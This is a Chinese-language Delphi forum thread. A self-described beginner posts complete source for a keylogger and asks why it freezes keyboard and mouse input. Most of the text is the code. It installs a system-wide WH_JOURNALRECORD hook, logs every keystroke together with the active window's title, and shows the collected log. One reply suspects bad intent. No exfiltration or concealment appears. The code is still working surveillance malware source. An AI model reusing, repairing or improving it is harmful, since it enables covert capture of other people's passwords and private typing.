请进啊!(20)

  • 主题发起人 主题发起人 netsen
  • 开始时间 开始时间
N

netsen

Unregistered / Unconfirmed
GUEST, unregistred user!
我弄了个键盘记录的小工具,代码可以编译但是使用的时候老出错 就是老导致键盘和鼠标再屏幕上输入或者点击没有反应任务管理器也打不开就只好重启了! 帮我解看看那点出问题了!代码如下 并不是我原创unit Unit1;interfaceusesWindows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,Dialogs, StdCtrls;typeTForm1 = class(TForm) Button1: TButton; MEMO1: TMemo; Button2: TButton; procedure Button1Click(Sender: TObject); procedure Button2Click(Sender: TObject);private{ Private declarations }public{ Public declarations }end;constKeyMask = $80000000;varForm1: TForm1;ch: Char;LogHook: HHook = 0;LastFocusWnd: HWnd = 0;PrvChar: Char;HotKeyId: Integer;HookList: TStringList; //hookkey:String;////implementation{$R *.dfm}function LogProc(iCode: Integer; wparam, lparam: LongInt): lresult; stdcall;varvKey: Integer;FocusWnd: HWND;Title: array[0..255] of Char;str: array[0..12] of Char;Time: string;PEvt: ^EVENTMSG;iCapital, iNumLock, iShift: Integer;bShift, bCapital, bNumLock: Boolean;begin if iCode < 0 thenbegin Result := CallNextHookEx(LogHook, iCode, wParam, lParam); exit;end;if (iCode = HC_ACTION) thenbegin pEvt := Pointer(DWord(lParam)); FocusWnd := GetActiveWindow; if LastFocusWnd <> FocusWnd then begin if hookkey<>'' then begin HookList.Add(hookkey); hookkey :=''; end; HookList.Add('---End---'); HookList.Add('--begin--'); GetWindowText(FocusWnd, Title, 256); LastFocusWnd := FocusWnd; //Time := DateTimeToStr(Now); Time := TimeToStr(Now); HookList.Add(Time + Format('Title:%s', [Title])); end; if pEvt.message = WM_KEYDOWN then begin vKey := LOBYTE(pEvt.paramL); iShift := GetKeyState($10); iCapital := GetKeyState($14); iNumLock := GetKeyState($90); bShift := ((iShift and KeyMask) = KeyMask); bCapital := ((iCapital and 1) = 1); bNumLock := ((iNumLock and 1) = 1); if ((vKey >= 48) and (vKey <= 57)) then begin if not bShift then begin ch := Char(vKey); end else begin case vKey of 48: ch := ')'; 49: ch := '!'; 50: ch := '@'; 51: ch := '#'; 52: ch := '$'; 53: ch := '%'; 54: ch := '^'; 55: ch := '&'; 56: ch := '*'; 57: ch := '('; end; end; hookkey:=hookkey+ch; end; if (vKey >= 65) and (vKey <= 90) then // A-Z a-z begin if not bCapital then begin if bShift then ch := Char(vKey) else ch := Char(vKey + 32); end else begin if bShift then ch := Char(vKey + 32) else ch := Char(vKey); end; hookkey:=hookkey+ch; end; if (vKey >= 96) and (vKey <= 105) then // 小键盘0-9 if bNumLock then hookkey:=hookkey+Char(vKey - 96 + 48); ch:='n'; if (VKey > 105) and (VKey <= 111) then begin case vKey of 106: ch := '*'; 107: ch := '+'; 109: ch := '-'; 111: ch := '/'; else ch := 'n'; end; end; if (vKey >= 186) and (vKey <= 222) then // 其他键 begin case vKey of 186: if not bShift then ch := ';' else ch := ':'; 187: if not bShift then ch := '=' else ch := '+'; 188: if not bShift then ch := ',' else ch := '<'; 189: if not bShift then ch := '-' else ch := '_'; 190: if not bShift then ch := '.' else ch := '>'; 191: if not bShift then ch := '/' else ch := '?'; 192: if not bShift then ch := '`' else ch := '~'; 219: if not bShift then ch := '[' else ch := '{'; 220: if not bShift then ch := '/' else ch := '|'; 221: if not bShift then ch := ']' else ch := '}'; 222: if not bShift then ch := Char(27) else ch := '"'; else ch := 'n'; end; end; if ch <> 'n' then hookkey:=hookkey+ ch; if (vKey >= 8) and (vKey <= 46) then //方向键 begin ch := ' '; case vKey of 8: str := '[退格]'; 9: str := '[TAB]'; 13: str := '[Enter]'; 32: str := '[空格]'; 33: str := '[PageUp]'; 34: str := '[PageDown]'; 35: str := '[End]'; 36: str := '[Home]'; 37: str := '[LF]'; 38: str := '[UF]'; 39: str := '[RF]'; 40: str := '[DF]'; 45: str := '[Insert]'; 46: str := '[Delete]'; else ch := 'n'; end; if ch <> 'n' then begin hookkey :=hookkey+str; end; end; end ;end;Result := CallNextHookEx(LogHook, iCode, wParam, lParam);end;procedure TForm1.Button1Click(Sender: TObject);begin UnhookWindowsHookEx(LogHook); LogHook := 0; memo1.Clear;memo1.Lines.Add(hooklist.Text);end;procedure TForm1.Button2Click(Sender: TObject);beginHookList := TStringList.Create;HotKeyId := GlobalAddAtom('MyHotKey') - $C000;RegisterHotKey(Handle, hotkeyid, MOD_ALT, VK_F8);if LogHook = 0 then LogHook := SetWindowsHookEx(WH_JOURNALRECORD, LogProc, HInstance, 0);end;end. 我很菜,刚开始学习delphi!
 
你好毒哦 是不是要做什么坏事?网上例子很多的!
 
后退
顶部